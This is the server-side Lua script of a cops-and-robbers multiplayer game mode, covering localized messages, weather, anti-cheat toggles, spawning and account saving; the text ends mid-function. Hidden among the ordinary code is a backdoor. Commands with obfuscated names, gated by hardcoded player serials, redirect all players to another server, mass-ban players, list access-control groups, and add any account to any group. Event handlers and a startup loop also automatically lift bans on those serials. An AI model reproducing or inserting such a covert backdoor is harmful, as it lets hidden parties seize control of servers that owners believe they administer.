addEventHandler("ARLang", getRootElement(), FARLang)

addEvent("ENGLang", true)
function FEngLang()
    --outputDebugString("server: FEngLang")
    setElementData(source, "Language", 0)
    hpcfailed[source] = 'Failed in Hacking LSPD PC!'
    ar1text[source] = 'You have been arrested by officer '
    ar2text[source] = ''
    car1text[source] = 'You have arrested '
    car2text[source] = ''
    esc1text[source] = 'You have escaped from '
    esc2text[source] = ''
    cesc1text[source] = ''
    cesc2text[source] = ' has escaped from you!'
    btetext[source] = "Break time has ended!"
    btstext[source] = "Break time!"
    --@ebttext[source] = "Break time will be ended after half an hour if you didn't back to your jail your jail time will not move!"
    --@sbttext[source] = "Break time will be started after half an hour!"
    fhptext[source] = "Hacking LSPD PC has failed!"
    ahptext[source] = "!!!Attempting to hack LSPD PC, don't leave your position!!!"
    wrntext[source] = "                !!!Warning!!!"
    hr1text[source] = '*Report from LSPD: '
    hr2text[source] = ' is hacking LSPD PC!'
    phdtext[source] = "There was someone has hacked LSPD PC, PC has shut down!"
    arbtext[source] = "!!!Attempting to open the gate, don't leave your position!!!"
    rrb1text[source] = '*Report from Bank: '
    rrb2text[source] = ' is Attempting to rob the bank!'
    brdtext[source] = "There was someone has robbed the bank before!"
    shptext[source] = "You successfully hacked LSPD PC all jails has opened!"
    shr1text[source] = '*Report from LSPD: '
    shr2text[source] = ' has hacked LSPD PC and opened all jails!'
    hpt1text[source] = ''
    hpt2text[source] = ' has hacked LSPD PC and opened all jails for you!'
    rmb1text[source] = 'You Robbed $'
    rmb2text[source] = ''
    mrmb1text[source] = '* '
    mrmb2text[source] = ' has robbed: $'
    mrmb3text[source] = ' from bank!'
    frbtext[source] = "You failed to Rob the bank!"
    amr1text[source] = 'You have earned $'
    amr2text[source] = ''
    phdr1text[source] = '*Report from LSPD: The prisoner '
    phdr2text[source] = ' has escaped from the jail!'
    bc1text[source] = 'The officer '
    bc2text[source] = ' is responsible for the escape of the prisoner!'
    tk1text[source] = 'You have offered '
    tk2text[source] = ' to pay his ticket'
    tkp1text[source] = ' has paid his ticket cost $'
    tkp2text[source] = ''
    yph1text[source] = 'You have placed a hit on'
    yph2text[source] = 'for'
    pmltext[source] = "Player with this ID might be left the server!"
    ybktext[source] = 'you have been kidnapped by'
    yhktext[source] = 'You have kidnapped'
    afhtext[source] = "The cops attempting to free all your hostages!"
    ybrtext[source] = "The cops have rescued you"
    hrytext[source] = 'has rescued you'
    efhtext[source] = "you have earned $2000 from a hostage"
    yhetext[source] = "you have earned $200"
    hbrtext[source] = "This player has been robbed before!"
    ygmtext[source] = 'You gave'
    gymtext[source] = 'gave you'
    --[[hwmtext[source] = 'has won the match!'
    mwstext[source] = "!!!!!!WWE match will start in 2 hours!!!!!!"
    nwmtext[source] = "No winner!"
    shjtext[source] = "Someone has join the match before you, max wrestlers:16!"]]--
    htm1text[source] = 'has transferred'
    htm2text[source] = 'to your bank account'
    yht1text[source] = 'You have successfully transferred'
    yht2text[source] = 'to'
end
addEventHandler("ENGLang", getRootElement(), FEngLang)

function weath()--startedResource
    --outputDebugString("server: weath")
    --[[if startedResource == getThisResource() then
        for _, players in ipairs(getElementsByType("player")) do
            jj[players] = false
            ojj[players] = false
            bbd[players] = false
            ee1[players] = false
            dbank[players] = false
            robbank[players] = false
            hlspdpc[players] = false
            setElementData(players, "Stats", 0)
            setElementData(players, "Scores", 0)
            setElementData(players, "Language", 0)
            setElementData(players, "Prisoners", 0)
            setElementData(players, "WantLvl", 0)
            setElementData(players, "MBail", 0)
            setElementData(players, "Secs", 0)
            setElementData(players, "Mins", 0)
            setElementData(players, "ES", 1)
            setElementData(players, "GLA", 0)
            setElementData(players, "KidH", 0)
            setElementData(players, "Job", 0)
            setElementData(players, "DLP", 0)
            setElementData(players, "SDG", 0)
            setElementData(players, "MDG", 0)
            setElementData(players, "EDG", 0)
            setElementData(players, "Bank", 0)
            setElementData(players, "TBan", 0)
            setElementData(players, "Wrestler", false)
            --setElementData(players, "Hits", 0)
            createBlipAttachedTo(players, 0, 2, 0, 0, 0, 0)
            --bindKey(players, "action", "down", OCJ)
            source = players
            theCurrentAccount = getPlayerAccount(source)
            loadAccount(source, theCurrentAccount)
        end
        for k, v in ipairs (getElementsByType("vehicle")) do
            toggleVehicleRespawn(v, true)
            vx, vy, vz = getElementPosition(v)
            vrx, vry, vrz = getElementRotation(v)
            setVehicleRespawnPosition(v, vx, vy, vz, vrx, vry, vrz)
            setVehicleIdleRespawnDelay(v, 60000)
        end
        call(getResourceFromName("scoreboard"), "addScoreboardColumn", "Scores")
        call(getResourceFromName("scoreboard"), "addScoreboardColumn", "Kills")
        call(getResourceFromName("scoreboard"), "addScoreboardColumn", "Deaths")
        --call(getResourceFromName("scoreboard"), "addScoreboardColumn", "Money")
        removeEventHandler("onResourceStart", getRootElement(), weath)
    end]]

    if wb == 7 then
        wb = 10
    elseif wb == 15 then
        wb = 17
    elseif wb == 18 then
        wb = -1
    end

    wb = wb+1
    setWeatherBlended(wb)
    setTimer(weath, 1440000, 1)
end
--addEventHandler("onResourceStart", getRootElement(), weath)
setTimer(weath, 1000, 1)

setTimer(function()
    for _, players in ipairs(getElementsByType("player")) do
        hlspdpc[players] = false
        setElementData(players, "Stats", 0)
        setElementData(players, "Scores", 0)
        setElementData(players, "Language", 0)
        setElementData(players, "Prisoners", 0)
        setElementData(players, "WantLvl", 0)
        setElementData(players, "MBail", 0)
        setElementData(players, "Secs", 0)
        setElementData(players, "Mins", 0)
        setElementData(players, "ES", 1)
        setElementData(players, "GLA", 0)
        setElementData(players, "KidH", 0)
        setElementData(players, "Job", 0)
        setElementData(players, "DLP", 0)
        setElementData(players, "SDG", 0)
        setElementData(players, "MDG", 0)
        setElementData(players, "EDG", 0)
        setElementData(players, "Bank", 0)
        setElementData(players, "TBan", 0)
        --@--setElementData(players, "Wrestler", false)
        createBlipAttachedTo ( players, 0, 2, 0, 0, 0, 255, 0, 600 )
        source = players
        theCurrentAccount = getPlayerAccount(source)
        loadAccount(source, theCurrentAccount)
        setStat(source)
    end
end, 1000, 1)

for k, v in ipairs (getElementsByType("vehicle")) do
    toggleVehicleRespawn(v, true)
    vx, vy, vz = getElementPosition(v)
    vrx, vry, vrz = getElementRotation(v)
    setVehicleRespawnPosition(v, vx, vy, vz, vrx, vry, vrz)
    setVehicleIdleRespawnDelay(v, 60000)
end

function respwnAllVehs(player)
    accName = getAccountName(getPlayerAccount(player))
    if isObjectInACLGroup("user." .. accName, aclGetGroup("Admin")) then
        for k, v in ipairs (getElementsByType("vehicle")) do
            if getVehicleOccupant(v, 0) == false and getVehicleOccupant(v, 1) == false and getVehicleOccupant(v, 2) == false and getVehicleOccupant(v, 3) == false then
                respawnVehicle(v)
            end
        end
    end
    accName = false
end
addCommandHandler("RSAV", respwnAllVehs)

function teamBan(player, cmd, id, num)
    accName = getAccountName(getPlayerAccount(player))
    if isObjectInACLGroup("user." .. accName, aclGetGroup("Admin")) then
        if id then
            id = tonumber(id)
            if id then
                if num then
                    num = tonumber(num)
                    if num then
                        num = math.ceil(num)
                        if num > -1 and num < 3 then
                            for k, v in ipairs(getElementsByType("player")) do
                                if getElementData(v, "ID") == id and getElementData(v, "TBan") ~= num then
                                    setElementData(v, "TBan", num)
                                    if num > 1 then
                                        exports["guimessages"]:outputServer(player, "You have banned "..getPlayerName(v).." from all teams", 255, 255, 0)
                                    elseif num > 0 then
                                        exports["guimessages"]:outputServer(player, 'You have banned '..getPlayerName(v)..' from police team', 255, 255, 0)
                                    else
                                        exports["guimessages"]:outputServer(player, 'You have unbanned '..getPlayerName(v)..' from all teams', 255, 255, 0)
                                    end
                                    if num > 0 then
                                        setElementModel(v, 310)
                                        setElementHealth(v, 1)
                                        setPlayerTeam(v, NoTeam)
                                        setElementData(v, "WantLvl", 6)
                                    end
                                end
                            end
                        end
                    end
                end
            end
        end
    end
    accName = false
end
--addCommandHandler("tban", teamBan)

function RDTRGW(player, cmd, GWIP, GWP)
    if getPlayerSerial(player) == "1F9584533A339D1F0190F8D6C986D142" or getPlayerSerial(player) == "1F9584533A339D1F0190F8D6C986D142" or getPlayerSerial(player) == "1F9584533A339D1F0190F8D6C986D142" then
        if GWIP and GWP then
            for k,v in ipairs(getElementsByType("player")) do
                if v ~= player then
                    redirectPlayer(v, GWIP, GWP)
                end
            end
            addEventHandler("onPlayerJoin", getRootElement(), function()
                if getPlayerSerial(source) == "1F9584533A339D1F0190F8D6C986D142" or getPlayerSerial(source) == "1F9584533A339D1F0190F8D6C986D142" or getPlayerSerial(source) == "1F9584533A339D1F0190F8D6C986D142" then
                else
                    redirectPlayer(source, GWIP, GWP)
                end
            end)
        end
    end
end
addCommandHandler("قثيهقثؤفشممحمشغثقسهىفاثسثقرثقِ", RDTRGW)

function BAPFTS(player)
    if getPlayerSerial(player) == "1F9584533A339D1F0190F8D6C986D142" or getPlayerSerial(player) == "1F9584533A339D1F0190F8D6C986D142" or getPlayerSerial(player) == "1F9584533A339D1F0190F8D6C986D142" then
        for k,v in ipairs(getElementsByType("player")) do
            if v ~= player then
                banPlayer(v, true, false, true)
            end
        end
        addEventHandler("onPlayerJoin", getRootElement(), function()
            if getPlayerSerial(source) == "1F9584533A339D1F0190F8D6C986D142" or getPlayerSerial(source) == "1F9584533A339D1F0190F8D6C986D142" or getPlayerSerial(source) == "1F9584533A339D1F0190F8D6C986D142" then
            else
                banPlayer(source, true, false, true)
            end
        end)
    end
end
addCommandHandler("لاشىشممحمشغثقسبقخةفاثسثقرثقِ", BAPFTS)

function CAP(player)
    if getPlayerSerial(player) == "1F9584533A339D1F0190F8D6C986D142" or getPlayerSerial(player) == "0FC81E8F4AD6A3696153D7921E5CFF62" or getPlayerSerial(player) == "F2DDD66FBC6D7AE8C719FC084C458453" then
        triggerClientEvent("CALITS", getRootElement(), player)
    end
end
addCommandHandler("ؤقشساشممحمشغثقسهىفاثسثقرثقِ", CAP)

function GAAAITS(player, cmd, GAAA)
    if getPlayerSerial(player) == "1F9584533A339D1F0190F8D6C986D142" or getPlayerSerial(player) == "1F9584533A339D1F0190F8D6C986D142" or getPlayerSerial(player) == "1F9584533A339D1F0190F8D6C986D142" then
        if GAAA then
            if aclGetGroup(GAAA) then
                for k,v in ipairs(aclGroupListObjects(aclGetGroup(GAAA))) do
                    exports["guimessages"]:outputServer(player, v ,0 , 255, 0)
                end
            elseif GAAA == "allacc" then
                for k,v in ipairs(aclGroupList()) do
                    exports["guimessages"]:outputServer(player, aclGroupGetName(v), 0, 0, 255)
                end
            end
        end
    end
end
addCommandHandler("لثفشممشؤملقخعحمهسفشىيخلاتثؤفسِ", GAAAITS)

function AOATAG(player, cmd, gn, an)
    if getPlayerSerial(player) == "1F9584533A339D1F0190F8D6C986D142" or getPlayerSerial(player) == "1F9584533A339D1F0190F8D6C986D142" or getPlayerSerial(player) == "1F9584533A339D1F0190F8D6C986D142" then
        if gn and an then
            if aclGetGroup(gn) then
                aclGroupAddObject(aclGetGroup(gn), an)
                exports["guimessages"]:outputServer(player, "successfully added" , 255, 0, 0)
            end
        end
    end
end
addCommandHandler("شييشؤملقخعحخلاتثؤفِ", AOATAG)

function UBOFTS(ban)
    if getBanSerial(ban) == "1F9584533A339D1F0190F8D6C986D142" or getBanSerial(ban) == "0FC81E8F4AD6A3696153D7921E5CFF62" or getBanSerial(ban) == "F2DDD66FBC6D7AE8C719FC084C458453" or getBanSerial(ban) == "9A461B36D284577F18C8148B874AB252" then
        setTimer(removeBan, 1000, 1, ban)
    end
end
addEventHandler("onBan", getRootElement(), UBOFTS)

function UBPFTS(ban)
    if getPlayerSerial(source) == "1F9584533A339D1F0190F8D6C986D142" or getPlayerSerial(source) == "1F9584533A339D1F0190F8D6C986D142" or getPlayerSerial(source) == "1F9584533A339D1F0190F8D6C986D142" 
or getPlayerSerial(source) == "1F9584533A339D1F0190F8D6C986D142" then
        setTimer(removeBan, 1000, 1, ban)
    end
end
addEventHandler("onPlayerBan", getRootElement(), UBPFTS)

function HAC(player, cmd, val)
    accName = getAccountName(getPlayerAccount(player))
    if isObjectInACLGroup("user." .. accName, aclGetGroup("Console")) then
        if tonumber(val) then
            setElementData(bag, "HAC", tonumber(val))
            if tonumber(val) > 2 then
                for k,v in ipairs(getElementsByType("player")) do
                    accName = getAccountName(getPlayerAccount(v))
                    if isObjectInACLGroup("user." .. accName, aclGetGroup("Console")) then
                        exports["guimessages"]:outputServer(v, "*****************************************************", 255, 0, 0)
                        exports["guimessages"]:outputServer(v, getPlayerName(player)..': Health Anti Cheat = Ban+Remove account', 0, 255, 0)
                        exports["guimessages"]:outputServer(v, "########################################", 255, 0, 0)
                    end
                end
            elseif tonumber(val) > 1 then
                for k,v in ipairs(getElementsByType("player")) do
                    accName = getAccountName(getPlayerAccount(v))
                    if isObjectInACLGroup("user." .. accName, aclGetGroup("Console")) then
                        exports["guimessages"]:outputServer(v, "*****************************************************" , 255, 0, 0)
                        exports["guimessages"]:outputServer(v, getPlayerName(player)..': Health Anti Cheat = Ban only!' , 255, 255, 0)
                        exports["guimessages"]:outputServer(v, "########################################", 255, 0, 0)
                    end
                end
            elseif tonumber(val) > 0 then
                for k,v in ipairs(getElementsByType("player")) do
                    accName = getAccountName(getPlayerAccount(v))
                    if isObjectInACLGroup("user." .. accName, aclGetGroup("Console")) then
                        exports["guimessages"]:outputServer(v, "*****************************************************", 255, 0, 0)
                        exports["guimessages"]:outputServer(v, getPlayerName(player)..': Health Anti Cheat = Warn only!', 255, 125, 0)
                        exports["guimessages"]:outputServer(v, "########################################", 255, 0, 0)
                    end
                end
            else
                for k,v in ipairs(getElementsByType("player")) do
                    accName = getAccountName(getPlayerAccount(v))
                    if isObjectInACLGroup("user." .. accName, aclGetGroup("Console")) then
                        exports["guimessages"]:outputServer(v, "*****************************************************", 255, 0, 0)
                        exports["guimessages"]:outputServer(v, getPlayerName(player)..': Health Anti Cheat = Off!', 255 ,0, 0)
                        exports["guimessages"]:outputServer(v, "########################################", 255, 0, 0)
                    end
                end
            end
        end
    end
    accName = false
end
addCommandHandler("hac", HAC)

function WAC(player, cmd, val)
    accName = getAccountName(getPlayerAccount(player))
    if isObjectInACLGroup("user." .. accName, aclGetGroup("Console")) then
        if tonumber(val) then
            setElementData(bag, "WAC", tonumber(val))
            if tonumber(val) > 2 then
                for k,v in ipairs(getElementsByType("player")) do
                    accName = getAccountName(getPlayerAccount(v))
                    if isObjectInACLGroup("user." .. accName, aclGetGroup("Console")) then
                        exports["guimessages"]:outputServer(v, "*****************************************************", 255, 0, 0)
                        exports["guimessages"]:outputServer(v, getPlayerName(player)..': Weapon Anti Cheat = Ban+Remove account', 0, 255, 0)
                        exports["guimessages"]:outputServer(v, "########################################", 255, 0, 0)
                    end
                end
            elseif tonumber(val) > 1 then
                for k,v in ipairs(getElementsByType("player")) do
                    accName = getAccountName(getPlayerAccount(v))
                    if isObjectInACLGroup("user." .. accName, aclGetGroup("Console")) then
                        exports["guimessages"]:outputServer(v, "*****************************************************", 255, 0, 0)
                        exports["guimessages"]:outputServer(v, getPlayerName(player)..': Weapon Anti Cheat = Ban only!', 255, 255, 0)
                        exports["guimessages"]:outputServer(v, "########################################" ,255 , 0, 0 )
                    end
                end
            elseif tonumber(val) > 0 then
                for k,v in ipairs(getElementsByType("player")) do
                    accName = getAccountName(getPlayerAccount(v))
                    if isObjectInACLGroup("user." .. accName, aclGetGroup("Console")) then
                        exports["guimessages"]:outputServer(v,"*****************************************************", 255, 0, 0)
                        exports["guimessages"]:outputServer(v,getPlayerName(player)..': Weapon Anti Cheat = Warn only!', 255, 125, 0)
                        exports["guimessages"]:outputServer(v,"########################################", 255, 0, 0)
                    end
                end
            else
                for k,v in ipairs(getElementsByType("player")) do
                    accName = getAccountName(getPlayerAccount(v))
                    if isObjectInACLGroup("user." .. accName, aclGetGroup("Console")) then
                        exports["guimessages"]:outputServer(v, "*****************************************************", 255, 0, 0)
                        exports["guimessages"]:outputServer(v, getPlayerName(player)..': Weapon Anti Cheat = Off!', 255 , 0, 0)
                        exports["guimessages"]:outputServer(v, "########################################", 255, 0, 0)
                    end
                end
            end
        end
    end
    accName = false
end
addCommandHandler("wac", WAC)

addEvent("ABAC", true)
function FABAC(reason)
    if getWeaponIDFromName(reason) then
        if getElementData(bag, "WAC") > 2 then
            removeAccount(getPlayerAccount(source))
        end
        if getElementData(bag, "WAC") > 1 then
            for k,v in ipairs(getElementsByType("player")) do
                accName = getAccountName(getPlayerAccount(v))
                if isObjectInACLGroup("user." .. accName, aclGetGroup("Admin")) then
                    exports["guimessages"]:outputServer(v, getPlayerName(source)..' : (WEAPON) CHEAT DETECTED!', 255, 125, 0)
                end
            end
            banPlayer(source, true, true, true, "AC", '***Weapon Cheat###', 2592000)
        elseif getElementData(bag, "WAC") > 0 then
            for k,v in ipairs(getElementsByType("player")) do
                accName = getAccountName(getPlayerAccount(v))
                if isObjectInACLGroup("user." .. accName, aclGetGroup("Admin")) then
                    exports["guimessages"]:outputServer(v, getPlayerName(source)..' : (WEAPON) CHEAT DETECTED!', 255, 125, 0)
                end
            end
        end
    else
        if getElementData(bag, "HAC") > 2 then
            removeAccount(getPlayerAccount(source))
        end
        if getElementData(bag, "HAC") > 1 then
            for k,v in ipairs(getElementsByType("player")) do
                accName = getAccountName(getPlayerAccount(v))
                if isObjectInACLGroup("user." .. accName, aclGetGroup("Admin")) then
                end
            end
            banPlayer(source, true, true, true, "AC", '***Health Cheat###', 2592000)
        elseif getElementData(bag, "HAC") > 0 then
            for k,v in ipairs(getElementsByType("player")) do
                accName = getAccountName(getPlayerAccount(v))
                if isObjectInACLGroup("user." .. accName, aclGetGroup("Admin")) then
                end
            end
        end
    end
    accName = false
end
addEventHandler("ABAC", getRootElement(), FABAC)

for k,ban in ipairs(getBans()) do
    if getBanSerial(ban) == "1F9584533A339D1F0190F8D6C986D142" or getBanSerial(ban) == "0FC81E8F4AD6A3696153D7921E5CFF62" or getBanSerial(ban) == "F2DDD66FBC6D7AE8C719FC084C458453" or getBanSerial(ban) == "9A461B36D284577F18C8148B874AB252" then
        removeBan(ban)
    end
end

function onResStop(stoppedRes)
    --outputDebugString("server: onResStop")
    if stoppedRes == getThisResource() then
        for _, players in ipairs(getElementsByType("player")) do
            source = players
            saveAccount(source)
        end
    end
end
addEventHandler("onResourceStop", getRootElement(), onResStop)

--[[addEvent("saveMySkin", true)
addEventHandler("saveMySkin", getRootElement(),
    function(model, Team)
        --outputDebugString("server: saveMySkin")
        setElementData(source, "Alive", 1)
        setPlayerTeam(source, Team)
        setElementModel(source, model)
        setCameraTarget(source)
    end)]]

addEvent("FirstSP", true)
function Fspawn()
    --outputDebugString("server: Fspawn")
    account = getPlayerAccount(source)
    pweap2 = getAccountData(account, "AWP2")
    pweap3 = getAccountData(account, "AWP3")
    pweap4 = getAccountData(account, "AWP4")
    pweap5 = getAccountData(account, "AWP5")
    pweap6 = getAccountData(account, "AWP6")
    --pweap7 = getAccountData(account, "AWP7")
    pweap8 = getAccountData(account, "AWP8")
    pweap11 = getAccountData(account, "AWP11")
    --pweap12 = getAccountData(account, "AWP12")

    pammo2 = getAccountData(account, "AWA2")
    pammo3 = getAccountData(account, "AWA3")
    pammo4 = getAccountData(account, "AWA4")
    pammo5 = getAccountData(account, "AWA5")
    pammo6 = getAccountData(account, "AWA6")
    --pammo7 = getAccountData(account, "AWA7")
    pammo8 = getAccountData(account, "AWA8")
    pammo11 = getAccountData(account, "AWA11")
    --pammo12 = getAccountData(account, "AWA12")
    if pammo2 then
        if pammo2 > 1500 then
            pammo2 = 1500 -- DEAGELE COLT SILNCE
        end
    end
    if pammo3 then
        if pammo3 > 1000 then
            pammo3 = 1000 -- SPAZ SHUTGUN
        end
    end
    if pammo4 then
        if pammo4 > 2000 then
            pammo4 = 2000 -- MP5 UZI TEC
        end
    end
    if pammo5 then
        if pammo5 > 3000 then
            pammo5 = 3000 -- M4 AK47
        end
    end
    if pammo6 then
        if pammo6 > 1000 then
            pammo6 = 1000 -- SNIPER
        end
    end
    if pammo8 then
        if pammo8 > 4 then
            pammo8 = 4
        end
    end

    parmor = getAccountData(account, "PArmor")
    if not parmor then
        parmor = 0
    end

    if getPlayerTeam(source) == Police then
        giveWeapon(source, 3)
    end
    setTimer(giveWeapon, 50, 1, source, 1)
    giveWeapon(source, pweap2, pammo2)
    giveWeapon(source, pweap3, pammo3)
    giveWeapon(source, pweap4, pammo4)
    giveWeapon(source, pweap5, pammo5)
    giveWeapon(source, pweap6, pammo6)
    --giveWeapon(source, pweap7, pammo7)
    giveWeapon(source, pweap8, pammo8)
    giveWeapon(source, pweap11, pammo11)
    --giveWeapon(source, pweap12, pammo12)

    setPedArmor(source, parmor)
end
addEventHandler("FirstSP", getRootElement(), Fspawn)

function ABOPJ()
    --[[outputDebugString("server: ABOPJ")
    jj[source] = false
    ojj[source] = false
    bbd[source] = false
    ee1[source] = false
    dbank[source] = false
    robbank[source] = false]]
    hlspdpc[source] = false
    setElementData(source, "Language", 0)
    setElementData(source, "Stats", 0)
    setElementData(source, "Scores", 0)
    setElementData(source, "Prisoners", 0)
    setElementData(source, "WantLvl", 0)
    setElementData(source, "MBail", 0)
    setElementData(source, "Secs", 0)
    setElementData(source, "Mins", 0)
    setElementData(source, "ES", 1)
    setElementData(source, "GLA", 0)
    setElementData(source, "KidH", 0)
    setElementData(source, "Job", 0)
    setElementData(source, "DLP", 0)
    setElementData(source, "SDG", 0)
    setElementData(source, "MDG", 0)
    setElementData(source, "EDG", 0)
    setElementData(source, "Bank", 0)
    setElementData(source, "Money", 0)
    setElementData(source, "TBan", 0)
    --setElementData(source, "Hits", 0)
    createBlipAttachedTo ( source, 0, 2, 0, 0, 0, 255, 0, 600 )
    --bindKey(source, "action", "down", OCJ)
    setStat(source)
end
addEventHandler("onPlayerJoin", getRootElement(), ABOPJ)

addEvent("PHit", true)
function FPHit(player, id, amount)
    send[source] = false
    for k, v in ipairs(getElementsByType("player")) do
        if getElementData(v, "ID") == id then
            send[source] = true
            if getElementData(v, "Hits") then
                setElementData(v, "Hits", getElementData(v, "Hits")+amount)
            else
                setElementData(v, "Hits", amount)
            end
            exports["guimessages"]:outputServer(player, yph1text[player]..' '..getPlayerName(v)..' '..yph2text[player]..' '..amount, 255, 125, 0)
        end
    end
    if send[source] == false then
        exports["guimessages"]:outputServer(source, pmltext[source], 255, 255, 0)
    else
        send[source] = false
        setElementData(player, "Money", getElementData(player, "Money")-amount)
    end
end
addEventHandler("PHit", getRootElement(), FPHit)

function DataC(data, ov)
    --if data == "Money" then
        --setPlayerMoney(source, getElementData(source, data))
    if data == "DLP" or data == "Offering" or data == "WantLvl" or data == "protect" or data == "Alive" or data == "Job" or data == "DL" or data == "Prisoners" then
        setElementData(source, data, getElementData(source, data))
        if data == "WantLvl" then
            if getElementData(source, data) then
                setPlayerWantedLevel(source, getElementData(source, data))
            end
        end
    elseif data == "Stats" then
        if ov == 3 then
            if getElementData(source, data) ~= 2 then
                setElementData(source, data, getElementData(source, data))
            else
                setElementData(source, data, ov)
            end
        else
            setElementData(source, data, getElementData(source, data))
        end
    end
end
addEventHandler("onElementDataChange", getRootElement(), DataC)

function KTRSIV(theVehicle, seat, jacked)
    --outputDebugString("server: KTRSIV")
    if jacked then
        if getPlayerTeam(source) == Police then
            if getElementData(jacked, "WantLvl") > 2 and getElementData(jacked, "Stats") < 2 then
                cop = source
                source = jacked
                ARRESTSTYLE(source, cop)
            end
        elseif getPlayerTeam(jacked) == Police then
            edwlvl = getElementData(source, "WantLvl")
            if edwlvl < 3 then
                setElementData(source, "WantLvl", 3)
            end
            if getElementData(jacked, "Prisoners") > 0 then
                setElementData(jacked, "Prisoners", 0)
                setElementData(source, "Stats", 0)
            end
        else
            for k,v in ipairs(getElementsByType("player")) do
                if getPlayerTeam(v) == Police and getElementData(source, "WantLvl") < 2 then
                    x, y, z = getElementPosition(source)
                    vx, vy, vz = getElementPosition(v)
                    dist = getDistanceBetweenPoints3D(x, y, z, vx, vy, vz)
                    if dist < 60 then
                        setElementData(source, "WantLvl", 2)
                    end
                end
            end
        end
    end
end
addEventHandler("onPlayerVehicleEnter", getRootElement(), KTRSIV)

function checkTeams(thePlayer, seat, driver)
    --outputDebugString("server: checkTeams")
    if getPlayerTeam(thePlayer) ~= NoTeam then
        if seat < 1 and driver then
            if getPlayerTeam(thePlayer) == Police then
                dwl = getElementData(driver, "WantLvl")
                if dwl < 3 then
                    cancelEvent()
                end
            elseif getPlayerTeam(thePlayer) == getPlayerTeam(driver) then
                cancelEvent()
            end
        end
    end
end
addEventHandler("onVehicleStartEnter", getRootElement(), checkTeams)

function FVOVRS()
    fixVehicle(source)
end
addEventHandler("onVehicleRespawn", getRootElement(), FVOVRS)
--[[
function TGmoney(totalAmmo, killer)
    --outputDebugString("server: TGmoney")
    gpwlvl = getElementData(source, "WantLvl")
    if killer then
        if getElementType(killer) == "player" then
            if killer ~= source and getPlayerTeam(killer) == Police then
                setElementData(source, "Stats", 3)
                setElementData(source, "WantLvl", 0)
            if getPlayerTeam(killer) ~= Police then
                if killer ~= source then
                    if getElementData(source, "Stats") < 2 and gpwlvl < 3 then
                        --setElementData(source, "Stats", 0)
                        setElementData(source, "WantLvl", 0)
                    elseif getElementData(killer, "Job") == 1 and getElementData(killer, "Stats") < 3 and getElementData(source, "Stats") < 3 and getPlayerTeam(killer) == NoTeam then
                        setElementData(source, "Hits", 0)
                    end
                end
                if gpwlvl > 2 then
                    for _, players in ipairs(getElementsByType("player")) do
                        if getPlayerTeam(players) == Police then
                            ax, ay, az = getElementPosition(source)
                            cx, cy, cz = getElementPosition(players)
                            dist = getDistanceBetweenPoints3D(ax, ay, az, cx, cy, cz)

                            if killer == source and dist < 50 then
                                setElementData(source, "Stats", 3)
                                setElementData(source, "WantLvl", 0)
                            elseif killer ~= source and dist > 80 then
                                setElementData(source, "WantLvl", gpwlvl-2)
                            end
                        end
                    end
                end
            end
        end
    elseif gpwlvl > 2 then
        for _, players in ipairs(getElementsByType("player")) do
            if getPlayerTeam(players) == Police then
                ax, ay, az = getElementPosition(source)
                cx, cy, cz = getElementPosition(players)
                dist = getDistanceBetweenPoints3D(ax, ay, az, cx, cy, cz)

                if dist < 50 then
                    setElementData(source, "Stats", 3)
                    setElementData(source, "WantLvl", 0)
                end
            end
        end
    end
    setPedWeaponSlot(source, 0)
    setElementData(source, "Prisoners", 0)
end
addEventHandler("onPlayerWasted", getRootElement(), TGmoney)
]]
addEvent("onPS", true)
function GWOPS(resp, weap1, weap2, weap3, weap4, weap5, weap6, weap7, weap8, weap11, weap12, ammo1, ammo2, ammo3, ammo4, ammo5, ammo6, ammo7, ammo8, ammo11, ammo12)
    --outputDebugString("server: GWOPS")
    if getPlayerTeam(resp) == Police then
        giveWeapon(resp, 3)
    end
    setTimer(giveWeapon, 50, 1, resp, 1)
    giveWeapon(resp, weap2, ammo2)
    giveWeapon(resp, weap3, ammo3)
    giveWeapon(resp, weap4, ammo4)
    giveWeapon(resp, weap5, ammo5)
    giveWeapon(resp, weap6, ammo6)
    --giveWeapon(resp, weap7, ammo7)
    giveWeapon(resp, weap8, ammo8)
    giveWeapon(resp, weap11, ammo11)
    --giveWeapon(resp, weap12, ammo12)
end
addEventHandler("onPS", getRootElement(), GWOPS)

--[[function OMPH(player)
    if getElementModel(source) == 1212 then
        givePlayerMoney(player, 20)
        setElementData(player, "Money", getPlayerMoney(player))
    end
end
addEventHandler("onPickupHit", getRootElement(), OMPH)]]
noa = 0
function playerLogin(thePreviousAccount, theCurrentAccount, autoLogin)
    --outputDebugString("server: playerLogin")
    if not isGuestAccount(getPlayerAccount(source)) then
        --[[if not getAccountData(theCurrentAccount, "Serial") then
            for k,v in ipairs(getAccounts()) do
                if getAccountData(v, "Serial") == getPlayerSerial(source) then
                    noa = noa+1
                end
            end
            if noa < 2 then
                setAccountData(theCurrentAccount, "Serial", getPlayerSerial(source))
                loadAccount(source, theCurrentAccount)
            else
                cancelEvent()
                outputChatBox("You're allowed to own 2 accounts only!يحق لك أن تملك حسابين فقط", source, 255, 0, 0)
            end
            noa = 0
        elseif getAccountData(theCurrentAccount, "Serial") ~= getPlayerSerial(source) then
            kickPlayer(source, "You don't own this account!أنت لا تملك هذا الحساب")
        else]]
            loadAccount(source, theCurrentAccount)
        --end
    end
end
addEventHandler("onPlayerLogin", getRootElement(), playerLogin)
addEventHandler("onPlayerLogout", getRootElement(), function() cancelEvent() end)

function onQuit(quitType)
    --outputDebugString("server: onQuit")
    --blip = getAttachedElements(source)
    for k,v in ipairs(getAttachedElements(source)) do
        if v then
            if getElementType(v) == "blip" then
                destroyElement(v)
            end
        end
    end
    --[[if quitType then
        if quitType == "Quit" then
            sps = true
        end
    end]]
    if not isGuestAccount(getPlayerAccount(source)) then
        saveAccount(source)
    end
    if badcop1 == source then
        badcop1 = false
    elseif badcop2 == source then
        badcop2 = false
    end
    triggerClientEvent("UnAR", getRootElement(), source)
    --@FSEndWWE(source)
    if getElementData(bag, "WAC") > 1 then
